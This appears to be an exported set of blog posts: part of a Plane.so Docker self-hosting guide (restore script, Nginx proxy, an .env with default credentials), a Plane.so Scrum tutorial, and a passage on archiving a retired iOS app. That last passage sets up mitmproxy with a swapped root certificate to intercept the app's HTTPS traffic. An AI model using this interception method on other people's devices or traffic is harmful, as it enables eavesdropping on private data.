the Plane backup folder to restore (e.g. /backup/plane/2024_05_25_19_14_12): \" backup_dir}inputBackupDirif [[ -z $backup_dir ]]; then echo \"Please provide the backup folder (e.g. sh /backup/docker/plane/2024_04_09_17_46_39)\" exit;fiinputDockerProjectName() { read -p \"Plane Docker project name (leave blank to use default plane-app): \" input_docker_project_name}inputDockerProjectName docker_project_name=${input_docker_project_name:-\"plane-app\"}confirm() { read -p \"Are you sure you want to restore Plane.so data? [y/N] \" response # Check the response case \"$response\" in [yY][eE][sS]|[yY]) true ;; *) false ;; esac}if ! confirm; then echo \"Action cancelled.\" exitfi# Restoreecho \"Restoring...\"docker cp $backup_dir/dump.sql $docker_project_name-plane-db-1:/dump.sql && docker exec -i $docker_project_name-plane-db-1 psql postgresql://plane:plane@plane-db/plane -f /dump.sql# Restore Redisdocker run --rm -v ${docker_project_name}-redis-1:/volume -v $backup_dir:/backup alpine tar xf /backup/plane-app_redis.tar --strip-component=1 -C /volume# Restore uploaded filesdocker run --rm -v ${docker_project_name}_uploads:/volume -v $backup_dir:/backup alpine tar xf /backup/plane-app_uploads.tar --strip-component=1 -C /volumeecho \"Restore Success!\"The first time you create a Script file, remember to: chmod +x ./plane-restore.shExecution method: ./plane-restore.shInput: The folder of the Plane backup file to be restored (e.g. /backup/plane/2024_05_25_19_14_12)Input: The Docker project name of Plane (leave blank to use the default plane-app)Input: Are you sure you want to execute Restore Plane.so data? [y/N] yAfter seeing Restore Success!, you need to restart Plane for it to take effect.Use Plane ./setup.sh and input 4 Restart:Go back to the website, refresh, and log in to the Workspace to check if the restoration was successful:Done! ⚠️ It is recommended to regularly test the backup and restore process to ensure that the backup can be used in case of an emergency.Plane @ Docker UpgradeAs mentioned earlier, Plane is still in the development stage, and a new version is released approximately every two to three weeks, with potentially significant changes. It is recommended to read the Release Note carefully for changes and necessary adjustments before upgrading. ⚠️ Be sure to back up before upgrading! ⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly. ⚠️ Be sure to back up before upgrading! ⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly. ⚠️ Be sure to back up before upgrading! ⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly. Since Plane is in the development stage and unstable, it cannot be guaranteed that upgrading will not cause data loss. Therefore, it is recommended to back up before operating.Upgrade method: Enter ./setup.sh again Input 5 to upgrade Plane (this essentially just pulls the new Images & restarts) After the Images are pulled, you can restart the service The .env file may change after the upgrade, please refer to the Release Note for adjustments After upgrading, be sure to check if the scheduled backup script is still functioning properly If the Container Name changes, you need to modify the backup, restore, and the Nginx reverse proxy script introduced belowUsing Nginx + Plane for Reverse ProxyBecause we may have multiple web services to provide at the same time, such as: Self-Hosted LibreChat (ChatGPT), Self-Hosted Wiki.js, Self-Hosted Bitwarden, etc., each service requires port 80 by default. If we do not want to specify the port in the URL when using it, we need to start a Docker Nginx as a reverse proxy for web services.The effect is as follows:chat.zhgchg.li -> LibreChat :8082wiki.zhgchg.li -> Wiki.js :8083pwd.zhgchg.li -> Bitwarden :8084plane.zhgchg.li -> Plane.so :8081To achieve the above effect, you need to move the ./plane-selfhost directory to a unified directory, named webServices here.Final directory structure preview:Adjust the webServices/plane-selfhost/plane-app/.env environment configuration file:APP_RELEASE=stableWEB_REPLICAS=1SPACE_REPLICAS=1ADMIN_REPLICAS=1API_REPLICAS=1NGINX_PORT=8081WEB_URL=http://plane.zhgchg.liDEBUG=0SENTRY_DSN=SENTRY_ENVIRONMENT=productionCORS_ALLOWED_ORIGINS=http://plane.zhgchg.li#DB SETTINGSPGHOST=plane-dbPGDATABASE=planePOSTGRES_USER=planePOSTGRES_PASSWORD=planePOSTGRES_DB=planePOSTGRES_PORT=5432PGDATA=/var/lib/postgresql/dataDATABASE_URL=# REDIS SETTINGSREDIS_HOST=plane-redisREDIS_PORT=6379REDIS_URL=# Secret KeySECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5# DATA STORE SETTINGSUSE_MINIO=1AWS_REGION=AWS_ACCESS_KEY_ID=access-keyAWS_SECRET_ACCESS_KEY=secret-keyAWS_S3_ENDPOINT_URL=http://plane-minio:9000AWS_S3_BUCKET_NAME=uploadsMINIO_ROOT_USER=access-keyMINIO_ROOT_PASSWORD=secret-keyBUCKET_NAME=uploadsFILE_SIZE_LIMIT=5242880# Gunicorn WorkersGUNICORN_WORKERS=1# UNCOMMENT `DOCKER_PLATFORM` IF YOU ARE ON `ARM64` AND DOCKER IMAGE IS NOT AVAILABLE FOR RESPECTIVE `APP_RELEASE`# DOCKER_PLATFORM=linux/amd64 Replace the URL with the one we want, using plane.zhgchg.li as an example Change NGINX_PORT to 8081 to free up the original 80 for the reverse proxy NginxwebServices/ Create a docker-compose.yml file to place Nginx:version: '3.8'services: webServices-nginx: image: nginx restart: unless-stopped volumes: - ./nginx/conf.d/plane.zhgchg.li.conf:/etc/nginx/conf.d/plane.zhgchg.li.conf ports: - 80:80 - 443:443 networks: - plane-app_default # Network used by planenetworks: plane-app_default: external: true We need to add the Plane app network to NginxwebServices/ Create a /conf.d directory & plane.zhgchg.li.conf file:# For plane.zhgchg.li# http example:server { listen 80; server_name plane.zhgchg.li; client_max_body_size 0; location / { proxy_pass http://plane-app-proxy-1; # plane proxy-1 service name proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }}# https & http example:# server {# listen 443 ssl;# server_name plane.zhgchg.li;# #ssl# ssl_certificate /etc/nginx/conf/ssl/zhgchgli.crt; # Replace with your domain's crt & remember to add the key to docker-compose.yml volumes and mount into Docker# ssl_certificate_key /etc/nginx/conf/ssl/zhgchgli.key; # Replace with your domain's key & remember to add the key to docker-compose.yml volumes and mount into Docker# ssl_prefer_server_ciphers on;# ssl_protocols TLSv1.1 TLSv1.2;# ssl_ciphers \"EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4\";# ssl_ecdh_curve secp384r1; # Requires nginx >= 1.1.0# ssl_session_timeout 10m;# ssl_session_cache shared:SSL:10m;# add_header Strict-Transport-Security \"max-age=63072000; includeSubDomains; preload\";# client_max_body_size 0;# location / {# proxy_pass http://plane-app-proxy-1; # plane proxy-1 service name# proxy_set_header Host $host;# proxy_set_header X-Real-IP $remote_addr;# proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;# proxy_set_header X-Forwarded-Proto $scheme;# }# }# server {# listen 80;# server_name plane.zhgchg.li;# return 301 https://plane.zhgchg.li$request_uri;# } proxy_pass input the service entry in the Plane network Here we only use HTTP as an example. If you want to support HTTPS, you can refer to the method of creating a self-signed SSL certificate for Nginx.Because there are multiple docker-compose.yml files that need to be started individually, followed by starting the Nginx reverse proxy, we can put all the startup scripts into a single Shell Script.Create the /start.sh file under webServices/:#!/bin/sh# Encapsulate the startup Script# Start Plane and other services firstdocker compose -f ./plane-selfhost/plane-app/docker-compose.yaml --env-file ./plane-selfhost/plane-app/.env up -d# Start Nginx lastdocker compose -f ./docker-compose.yml --env-file ./.env up -dWhen creating the Script file for the first time, remember to: chmod +x ./start.shYou can also create one to stop the services, create the /stop.sh file under webServices/:#!/bin/sh# Encapsulate the stop Scriptdocker compose -f ./plane-selfhost/plane-app/docker-compose.yaml --env-file ./plane-selfhost/plane-app/.env downdocker compose -f ./docker-compose.yml --env-file ./.env downWhen creating the Script file for the first time, remember to: chmod +x ./stop.shStart After encapsulating the Nginx reverse proxy, Plane service, and others, you can directly run ./start.sh to start all services./start.shDNS SettingsIf hosted on an internal network, you need to ask the IT department to add a DNS record for plane.zhgchg.li -> server IP address in the internal DNS.plane.zhgchg.li server IP addressIf you are testing on your local computer, you can add the following to the /private/etc/hosts file:127.0.0.1 plane.zhgchg.liAfter completing the DNS settings, you can open Plane by visiting plane.zhgchg.li!Common Issues Nginx fails to start and keeps Restarting, check the Log showing nginx: [emerg] host not found in upstreamThis means the Nginx reverse proxy service cannot find the Plane service. Check if the name http://plane-app-proxy-1 is correct and if the Nginx docker-compose.yml network settings are correct. 502 Bad Gateway appearsThe startup order is incorrect (ensure the Nginx reverse proxy is started last) or the Plane process has restarted. Try restarting it again. Nginx default homepage welcome to nginx! appears, using the reverse proxy you will no longer be able to access Plane using the original IP:80 method, you need to use the URL. The URL cannot be resolved or the host cannot be found, please check if the DNS network settings are normal.⚠️⚠️Security Issues⚠️⚠️Since the Plane project is under development and is an open-source project, it is uncertain whether there are any serious system vulnerabilities, which could potentially become an entry point for intrusion. Therefore, it is not recommended to set up Plane.so Self-Hosted on a public network. It is better to add an extra layer of security verification (Tunnel or certificate or VPN) to access it; even if it is set up on an internal network, it is best to isolate it.As a project under development, there are inevitably bugs, experience, and security issues. Please be patient with the Plane.so team. If you have any issues, feel free to report them below: Issue Report: https://github.com/makeplane/plane/issues Official Discord: https://discord.com/invite/A92xrEGCgeComplete Self-Hosted Repo Example DownloadPlane.so Usage and Integration with Scrum Process Plane.so Free Open Source and Self-Hosted Supported Asana/Jira-like Project Management ToolIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira", "url": "/posts/9d0f23784359/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, asana, scrum, project-management, open-source", "date": "2024-05-25 16:28:02 +0800", "snippet": "Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/JiraIntroduction to the use of Plane.so project management tool with Scurm processBackgroundAsanaAt my pre...", "content": "Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/JiraIntroduction to the use of Plane.so project management tool with Scurm processBackgroundAsanaAt my previous company Pinkoi, I first experienced the power of Asana project management tool. Whether it was internal project management or collaboration across teams, Asana played a role in decoupling dependencies between individuals and tasks, enhancing collaboration efficiency.In my previous company, all teams, from product teams to operations, business teams (such as HRBP, Finance, Marketing, BD, etc.), had a publicly accessible Project as a single collaboration entry point across teams. When other teams needed assistance, they could directly create a Task (which could also be from a Template Task) in that Project (usually with a Need Help! Section). The team would then take over the Task internally for execution.For cross-team collaboration with the operations team, such as procurement and recruitment processes, tasks could be directly created and progress tracked through Asana. For collaboration with business teams, such as marketing campaign planning, tasks requiring engineering assistance, and more.Without Asana or similar project management tools: Direct communication with the other team for anything is most effective for P0 tasks, but in daily operations, 90% of tasks are not P0. Direct communication for all tasks, regardless of size, is inefficient and can disrupt the workflow of the other team. Task execution is not transparent, and only the parties involved in the conversation know the progress. For tasks involving multiple parties, progress confirmation relies on repeated communication. Additionally, supervisors find it challenging to manage task allocation for everyone. Task assignment: We receive many tasks daily, each with varying priorities and directions. Having a tool allows us to collect and categorize similar issues for future resolution. It also makes it easier to prioritize important tasks in daily work. Task handover: A tool records task details and progress. When assistance from others is needed, task details can be quickly accessed for task handover.Returning to project management, Asana provides flexible, multidimensional, and automated project management tools that can be customized according to requirements. There are many ways to use Asana. The following are just a few examples of use cases. It is recommended to determine your needs before applying relevant Asana examples. Asana’s Taiwan distributor also provides comprehensive educational training. If interested, you can contact them. (This article is not sponsored)Example 1Team Project To Do: Tasks to start this week or next week In Progress: Projects currently in progress Review: Completed and awaiting Sprint Review Backlog: Task pool, tasks picked from here weekly for executionTeam Scrum ProjectIn addition to the main team Project, a Scrum Project is created to manage tasks (Asana tasks can be added to multiple Projects simultaneously) and review the execution content of each Sprint.Example 2Example two uses Sections to differentiate Sprints, creating a new Section each week for tasks and using Labels to mark other statuses.Back to RealityAs mentioned earlier, the scenarios with Asana project management tools at my previous company Pinkoi. In the past few months, returning to an environment without project management tools has made me realize the importance of tools for work efficiency.The current environment does not have a more modern project management tool, based on procurement (expense control), internal control issues (pure intranet), and personal data audit restrictions (must be on-premises), so Asana cannot be directly introduced for use.Due to the above environmental limitations, we can only start with open-source and self-hosted project management tools. The solutions found are nothing more than: Redmine, OpenProject, Taiga… Several solutions were tried, but the results were not as expected, lacking functionality and having unfriendly UI/UX. It wasn’t until I accidentally found a project management tool called Plane.so, which was newly launched in January 2023.By the way, I recommend this website, which includes many services that support self-hosting:awesome-selfhosted A list of Free Software network services and web applications which can be hosted on your own servers awesome-selfhosted.net That’s enough talk, let’s get to the main content.Table of ContentsThis document is divided into: Introduction to Plane.so Plane.so Operation Tutorial Plane.so x Scrum Workflow Example AppendixYou can refer to the next section “ Plane.so Docker Self-Hosted Setup Record “ for Docker self-hosted setup instructions.Introduction to Plane.soOverviewPlane was founded in 2022 and is a startup company from Delaware, USA, and India. Currently, most of the developers observed on Linkedin and Github are in India. The company has raised $4 million in seed funding (invested by OSS Capital).Currently, Plane ranks first in the Github project management category, is open-source using the AGPL-3.0 license, was launched in January 2023, and is still in the development phase, with no official release yet. Please note: ⚠️ Open-source does not mean free ⚠️ **, just like Github and Gitlab, there are many project management tools similar to Github, such as Asana, Jira, Clickup, but there is no product good enough to compete with Gitlab’s open-source products yet. Plane aims to be the Gitlab of project management tools. Approximately updated every two to three weeks, with some adjustments that may have significant differences or still have security issues. Currently does not support multilingual (Chinese). Supports Self-Hosted The official version does not provide export from Cloud to import into Self-Hosted. It can only be achieved by integrating through the API. Therefore, if considering using Self-Hosted on-premises, it is recommended to treat Cloud as a trial version only. macOS App, iOS App, Android App are also actively under development.You can refer to the Plane Product Roadmap on the official website:Open Source Repo:SolutionPlane offers cloud-based services starting at $0, with Pro providing more frameworks and integration, as well as automation features.Additionally, the official is promoting a $799 early lifetime plan for those interested in paying to support the team can refer directly to this plan:Community Edition (referred to as CE by the official), Self-Hosted version, also starting at $0, if you want to use advanced features, you still need to purchase Pro but can support Self-Hosted.FrameworkPlane.so differs from Asana’s multidimensional flexibility, but Plane is composed of the following frameworks for project management: Issues: Similar to Asana Task, any work is opened as an Issue for scheduling or as a record. Cycles: Similar to Sprints, a time cycle or version of iteration, each Issue can only exist in one Cycle. Modules: Projects, modules, classification functions, each Issue can be added to multiple Modules. Layouts & Views: You can use Gantt charts, calendars, kanban boards, lists, and Sheet mode to view Issues, and you can save filtering conditions and display methods as Views for quick viewing. Inbox: Issue Proposed process, you can create a proposal Issue, and it will only be created in the project after approval, otherwise directly Pages: Simple document function, can record some work, product matters. Drive: Similar to Google Drive team file function.Currently, the free version and CE (Self-Hosted) version do not have this feature.Plane.so Operation TutorialWe can quickly and freely start using the Plane Cloud version directly:Plane | Simple, extensible, open-source project management tool. Open-source project management tool to manage issues, sprints, and product roadmaps with peace of mind. app.plane.soWorkspace When you first enter Plane.so, you will need to create your first Workspace. Workspaces are similar to Asana workspaces, where one account can join multiple Workspaces. For small companies with cross-team usage, you can use the same Workspace. For large companies with cross-team usage, Plane does not have features like Asana’s Team function or Project grouping; using the same Workspace will lead to confusion in Projects, so it is recommended to use Workspaces to differentiate teams directly.After creation, you can switch between different Workspaces on the Workspace dropdown menu and also access Workspace Settings from here: General Workspace avatar, name, URL Billing and plans payment information, upgrade plans Integrations third-party integrations, currently only Github and Slack integrations are available in the free version Imports import function, currently only Jira, Github Project imports are available Exports export function, currently only csv, excel, json formats are available for export Webhooks API tokens, self-integrate APIOne of the most important settings is Members, where we need to invite team members to join the Workspace: Guest/Viewer currently have no significant differences in functionality, can only view Issues, Comments, Emojis; if they are external users with different organization emails, they are Guests, if they are from the same organization, they are Viewers Member can perform all functions Admin can access SettingsHome Page Home displays all Projects and member statuses in the Workspace Analytics analyzes all members and Issues Projects lists all Projects All Issues lists all Issues in all Projects Active Cycles shows the current Cycle status of all Projects Notifications for Issue notificationsProjectsEnter Projects to view all public and joined Projects: Project name, description, cover image, prefix (Issue Alias e.g. APP-1) Project permissions: Public can be viewed and joined by all Workspace members; Private can only be joined by invited members Lead: Project’s main responsible personIn the top right corner of the Project, click on “…” to: Add to favorites, Pin to My Favorites (above Your Projects) Publish to generate a public external link, similar to the official Roadmap Project Draft Issues to view saved draft Issues Archives to view archived IssuesOther settings: General: general project settings Members: project members, project permissions States: project Issue statuses (will be introduced later) Labels: project Labels management Features: control which features to enable (Inbox feature is not enabled by default) Estimates: project estimation field settings (will be introduced later) Integrations: third-party integrations (Workspace must be enabled first) Automations: currently, the free version only supports automatically archiving Closed Issues after X time, automatically closing unfinished Issues after X timeIssues Enter from the left side to create a Project under Projects. Unlike Asana, Plane’s Issue can only be added to one Project. You can switch display modes in the top right corner. By default, all Sub-Issues are expanded. If it feels cluttered, you can go to Display -> Uncheck Show sub-Issues.Click “Create Issue” to start creating an Issue: Save as draft Issues. Support text styles, Code Block. Support Markdown. Support text wrapping around images, you can directly drag and drop images to upload. Support multiple Assignees (more convenient than Asana, which only supports one Assignee per Task). Choose Priority, different Priorities have different highlighting styles (currently unable to customize Priority). Choose Modules, can add multiple Modules, for example: Login optimization, App … (settings will be introduced later). Choose Cycle, where to work in which Sprint, can only choose one, for example: W22, S22, 2024-05 … (settings will be introduced later). Currently does not support custom Issue Properties. Choose Add parent, add this Issue as a Sub-Issue to the Parent Issue. Choose Labels (a.k.a Tag function). Choose Start Date, Due Date… (currently does not support precise time, does not support Repeated Issue). Choose Estimate (a.k.a Scrum story point or estimated resources to be invested), Estimate can be adjusted or added in Settings; however, currently only one Estimate field can be enabled and Estimate Value can only be set to 6. (Official Roadmap states that this feature will be improved in 2024Q2). Choose Issue State, State can be adjusted or added in Settings.Create Issue Content using AI: Click the AI button next to Create to enter a Prompt and automatically generate default Issue content, click Use this response to apply it to the Issue Description.After creating the Issue, clicking on it in the list will bring up the Issue Preview window, where you can click to expand into the Issue Full-Screen page:Click to expand into the Issue Full Screen Detail page: Image preview, can be dragged or right-clicked to open in a new window for enlargement (currently unable to click to enlarge). Click to add a Sub-Issue (Sub-Issues currently do not support sorting or Section functions). Add emojis (currently only seven types of emojis available: 👍👎😀💥😕✈️👀). Upload additional files (not limited to images, but currently images do not have a preview function, need to click to view). Discussion area for comments (currently, the Chinese selection will be automatically submitted, please refer to the solution at the end of the document). Subscribe/unsubscribe to this Issue to change notifications. Relates to can add related Issues. Blocking can mark Issues that are being blocked by this Issue (currently no special function). Blocked by can mark Issues that are blocking this Issue (currently no special function). Duplicate of marks duplicate Issues (currently no special function). Labels for quick tagging, creating tags. Links related links, can add external links such as Figam, Google Doc. Delete, archive Issue.Cycle Cycle The homepage will display the current Cycle with its execution status and burnout chart. It also shows upcoming Cycles and completed Cycles. Currently, Cycles need to be created manually. For example, if a Sprint is every two weeks, you need to create SXX and specify the time cycle. Cycle time cycles cannot be duplicated. Cycle time cycles cannot be selected in the past. Only one Issue can be added to a Cycle. Click to view Cycle details, use different display methods and filters to view Issues at the top. There is a burnout chart and execution status on the right. View Issues based on Assignees, Labels, and States.Modules Modules Modules can be used as project summaries, OKR goals, and functional categories (Design, FE, BE, App, etc.). You can set project Leads & Members. Project progress is different from Issue State, with additional Planned and Paused statuses. You can set date ranges. Click to view Module details, use different display methods and filters to view Issues at the top. There is a burnout chart and execution status on the right. View Issues based on Assignees, Labels, and States. You can add a Link to a Module.Views Views Create Views for commonly used filter conditions and viewing modes to quickly view from here. You can use different display methods and filters to view Issues at the top of the View.Pages Simple Documentation Pages provide a WYSIWYG document editor, making it easy to write documents and insert images. Currently does not support directories or categorization, and documents can become messy when there are many. Document permissions: Public for all Project members to see, Private visible only to yourself.Notifications Issues Personal Notification Functionality Subscribed Issues will receive notifications for status changes, content updates, and new comments. By default, Issues created by yourself, assigned to you, or in projects where you are the Lead will be subscribed. Currently no Slack or third-party notifications.Currently, only Email notifications are available: Turn on Email notifications from Profile -> Settings -> Preferences -> Email.Dark Mode Choose the Plane theme from Profile -> Settings -> Preferences -> Theme.Official ManualPlane Documentation - Plane Plane is an extensible, open source project and product management tool. It allows users to start with a basic task… docs.plane.so⚠️⚠️Disclaimer⚠️⚠️ The above is the usage introduction for version 0.20-Dev as of May 25, 2024. The official team is still actively developing new features and optimizing user experience. The functionality mentioned above may be improved in the future. Please refer to the latest version for the best experience.During the development of the project, there may be bugs and user experience issues. Please be patient with the Plane.so team. If you have any questions, feel free to report them below: Issue Reporting: https://github.com/makeplane/plane/issues Official Discord: https://discord.com/invite/A92xrEGCgePlane.so x Scrum Workflow ExampleArchitecture Each team has its own Workspace. Each team will have a main product Project. Projects: Other projects can be created such as marketing ad projects, customer support projects, or projects collaborating with external parties, separate from the main product development project. Modules: Create Function Modules (design, frontend, backend, app) for easy tracking by Team Leads, and establish OKRs or project goals within Modules (improve conversion rates, OKR-1 increase GMV, etc.). Cycle: Create Cycles based on Sprint cycles, for example, if there is a Sprint every week, you can create W12 or use the date format like 2024-05-27. Since Cycles cannot be automatically created at the moment, it is necessary to create future Cycles monthly or weekly. All work should be initiated by opening an Issue. If possible, Issues should include Start Date & Due Date, Modules, and Priority. If an Issue keeps switching between In-Progress and Cycles (cannot be completed within one Cycle), consider breaking down the Issue for better project management.Process Sprint Cycle: One week Backlog: Open Issues for all work and ideas, State = Backlog, provide Estimate and Priority. Weekly Sprint Planning Meeting: Select Issues from the Backlog and those currently in progress (To Do or In Progress), set Priority/Estimate, arrange for execution in the current Sprint, and add them to the Cycle. If there are ad-hoc Issues to be executed during the Sprint, they should also be opened directly in the current week’s Cycle. Daily Stand-up: Spend 15 minutes each morning quickly sharing the status of Issue execution. Prepare and start executing Issues, change status to ToDo/In Progress. Upon completion of an Issue, change status to Done, or consider creating a Review State. Weekly Sprint Review Meeting on Fridays: Review the Issues completed during the week (not for Planning the next week), quickly review completed Issues, and ensure Estimates are filled in for future reference. Try to ensure that all Issues within the Cycle are completed by the end of the week. For unfinished Issues, decide whether to include them in the next week’s Cycle or change to Pending/Cancel. Continuously iterate through the above process to manage all Issues and Projects.⚠️⚠️Disclaimer⚠️⚠️ The above is just an example of a workflow. Please note that there is no perfect process, only the one that suits your team. Refer to the structure provided by Plane.so to unleash creativity and find the best project management approach.AppendixAPIPlane.so has a clean frontend-backend separation architecture, providing a comprehensive API. After creating API Tokens from Workspace Settings, you can use the API by including the API Request Header X-API-Key. For API Endpoint request methods, refer to the official API documentation. However, since the official documentation is not yet complete and many request methods are not listed, the quickest way is to open the browser tools, check the Network requests, and see how the official site makes API requests. Then, apply your own Key to use it.Issue Comment, submitting the question directly after selecting Chinese charactersOpened an Issue with the official & followed the Source Code, feeling that the chances of fixing it are quite low, because it didn’t consider the need to select the language from the beginning, so it directly binds the Enter Event on the keyboard to submit the Comment.Browser Extension Workaround:Here is a workaround JavaScript script I wrote to hook the Enter event. First, install the JavaScript browser injection plugin:This is a shared extension for Chromium, other browsers can also search for similar JavaScript Inject tools. Go back to Plane.so, click on the extension -> click on “+” Inject the following JavaScript into Plane.so document.addEventListener('keydown', function(event) { if (event.key === 'Enter' || event.keyCode === 13) { // event.keyCode is for older browsers const focusedElement = document.activeElement; const targetButtons = focusedElement.parentElement.parentElement.parentElement.parentElement.parentElement.querySelectorAll('button[type=\"submit\"]');if (targetButtons.length > 0 && targetButtons[0].textContent.trim().toLowerCase() === \"comment\") { console.log(\"HIT\"); // Focus the active element and place the cursor at the end focusedElement.focus(); if (window.getSelection) { var range = document.createRange(); var selection = window.getSelection(); range.selectNodeContents(focusedElement); range.collapse(false); selection.removeAllRanges(); selection.addRange(range); } event.stopImmediatePropagation();} }},true); After pasting the code, click “Save”.Go back to Plane.so (refresh) and open an Issue to test the Comment function. Press Enter to select a word will no longer automatically submit, press Space + Shift Enter to line break, manually click Comment to submit a comment.⚠️⚠️⚠️Security Issue⚠️⚠️⚠️ Because Plane.so is still in the development stage and the product is very new, it is uncertain whether there are security issues. It is recommended not to upload any sensitive data to avoid data leakage in case of major issues with the service, or use Self-Hosted to self-host for local intranet use.Plane Self-Hosted Self-Hosting Tutorial Plane.so Docker Self-Hosted Self-Hosting RecordFor any questions and suggestions, please feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "What Can Be Done to Commemorate When an App Product Reaches Its End?", "url": "/posts/b04f4fba3cf2/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, man-in-the-middle-attack, mitmproxy, python, app-development", "date": "2024-05-15 00:20:45 +0800", "snippet": "What Can Be Done to Commemorate When an App Product Reaches Its End?Using mitmproxy + apple configurator to keep an App in its pre-removal state foreverIntroductionJujutsu KaisenAfter working for a...", "content": "What Can Be Done to Commemorate When an App Product Reaches Its End?Using mitmproxy + apple configurator to keep an App in its pre-removal state foreverIntroductionJujutsu KaisenAfter working for a long time and handling many products, I have started to encounter products that I once participated in reaching their end (removal). Developing a product from scratch is like nurturing a new life, with the team working together for 3-4 months to bring the child into the world. Although it was later handed over to other caretakers (engineers) for further development, hearing that it is about to reach the end of its product lifecycle still brings some regret. Life is like this too. We never know if the sun will rise first tomorrow or if an accident will happen. The only thing we can do is cherish the present and do things well.CommemorationEvery step leaves a trace. We hope to do something before the product reaches its end so that everyone still has a chance to remember it and at least leave proof of its existence. The following methods require the App to still be online; if it has already been removed, then only memories remain.Non-technical Method — RecordingBesides using the iPhone’s built-in screen recording feature, we can also use QuickTime Player to connect the phone to a Mac for recording and exporting videos. Open the QuickTime Player App on the Mac In the top left toolbar, select “File” -> “New Movie Recording” After the recording interface pops up, click the “v” next to the 🔴, and select your connected phone for the screen and speaker The recording interface will now display the phone screenClick the “🔴” to start recording, and operate the content you want to record on the phone.During recording, the current video size will be displayed. To stop recording, press the “🔴” again.You can use the QuickTime Player toolbar to simply trim the video. Finally, press “Command” + “s” to export and save the video to the specified location, completing the recording for commemoration.The advantage of video commemoration is that future memories are more easily connected than with pictures. The deeper you record, the more detailed the record. If you want to convert specific frames into pictures, you can directly take screenshots, which is very convenient.Technical MethodTechnical backup of an App can be divided into two directions: “bones” and “meat”. The App itself is just a skeleton, while the core content data of the App is composed of API Response Data. The bones will disappear as the App is removed from the App Store. The meat will disappear as the API host and server shut down.Therefore, we also divide the technical backup into bones and meat.Disclaimer This article is for technical research and sharing only. It does not encourage the use of any technology for illegal or infringing activities.[Bones] Backup .ipa App Installation FileAfter an App is removed from the store, as long as the downloaded App is not actively deleted from the phone, it will always exist on that phone. If you change phones using the transfer method, it will also be transferred.But if we accidentally delete the App or change phones without transferring it, then it will be gone forever. At this time, if we manually back up the .ipa file from the store, we can extend its life again.A long time ago, the reverse engineering article mentioned this, but this time we only need to back up the .ipa file without jailbreaking, all using tools provided by Apple.1. Install Apple Configurator 2First, go to the Mac App Store to download and install Apple Configurator 2.2. Connect iPhone to Mac and click Trust This ComputerOnce connected successfully, the iPhone’s home screen will appear.3. Ensure your phone has the app installed that you want to back up the .ipa file forWe need to use Apple Configurator 2 to get the .ipa file downloaded to the cache, so we need to make sure the target app is installed on the phone.4. Go back to Apple Configurator 2 on the MacDouble-click the iPhone home screen shown above to enter the information page.Switch to “App” -> top right corner “+ Add” -> “App”After logging into the App Store account, you can get a list of apps you have purchased before.Search for the target app you want to back up, select it, and click “Add”.A waiting window will appear, adding the app on XXX, downloading “XXX”.5. Extract the .ipa file Wait for it to finish downloading, a window will pop up asking if you want to replace the existing installed app. Do not click anything at this time. Do not click anything at this time. Do not click anything at this time.Open a Finder:Select “Go” -> “Go to Folder” from the top left toolbarPaste the following path:~/Library/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileAppsYou can find the target app .ipa file that is downloaded and ready to be installed:Copy it out to complete the app .ipa file backup.After completing the file copy, go back to Apple Configurator 2 and click stop to terminate the operation.[Bone] Restore .ipa App Installation FileSimilarly, connect the phone to be restored to the Mac and open Apple Configurator 2, enter the app addition interface.For restoration, select “Choose from my Mac…” in the bottom left corner.Select the backed-up app .ipa file and click “Add”.Wait for the transfer and installation to complete, then you can reopen the app on your phone, successfully revived![Meat] Back Up the Final API Response DataHere we will use the method and open-source project mentioned in the previous App End-to-End Testing Local Snapshot API Mock Server article (refer to the details and principles).With the same technique used for recording API Request & Response for E2E Testing, we can also use it to record the last API Request & Response Data before an app is taken down or shut down.1. Install mitmproxybrew install mitmproxymitmproxy is an open-source man-in-the-middle attack and network request sniffing tool.If you are not familiar with the working principle of Mitmproxy man-in-the-middle attacks, you can refer to my previous article: “The APP uses HTTPS transmission, but the data was still stolen.” or the Mitmproxy official documentation.If you are using it purely for network request sniffing and are not comfortable with the mitmproxy interface, you can also use “Proxyman” as referenced in another previous article.2. Complete mitmproxy certificate setup For HTTPS encrypted connections, we need to use a root certificate swap to perform a man-in-the-middle attack. Therefore, the first time you use it, you need to complete the root certificate download and activation on the mobile end. *If your App & API Server has implemented SSL Pinning, you also need to add the Pinning certificate to mitmproxy. First, ensure that the iPhone and Mac are connected to the same network environment. If there is no WiFi and the computer is connected to a physical network, you can also turn on the Mac’s WiFi sharing feature to let the phone connect to the Mac’s network.Start mitmproxy or mitmweb (Web GUI version) in Terminal.mitmproxySeeing this screen means the mitmproxy service has started, and there is no traffic coming in, so it is empty. Keep this screen open and do not close the Terminal. Go to the Mac network settings to check the Mac’s IP address.Go back to the phone’s WiFi settings, click “i” to enter detailed settings, and find “Configure Proxy” at the bottom: Enter the Mac’s IP address in the server field. Enter 8080 in the port field. Save.Open Safari on the phone and enter: http://mitm.it/If it shows:If you can see this, traffic is not passing through mitmproxy.It means the network proxy server on the phone was not set up successfully, or mitmproxy was not started on the Mac.Under normal circumstances, it will show: At this point, only HTTP traffic can be sniffed, and HTTPS traffic will report an error. We will continue to set it up.This means the connection is successful. Find the iOS section and click “Get mitmproxy-ca-cert.pem”. Click “Allow”.After the download is complete, go to the phone’s settings, and you will see “Profile 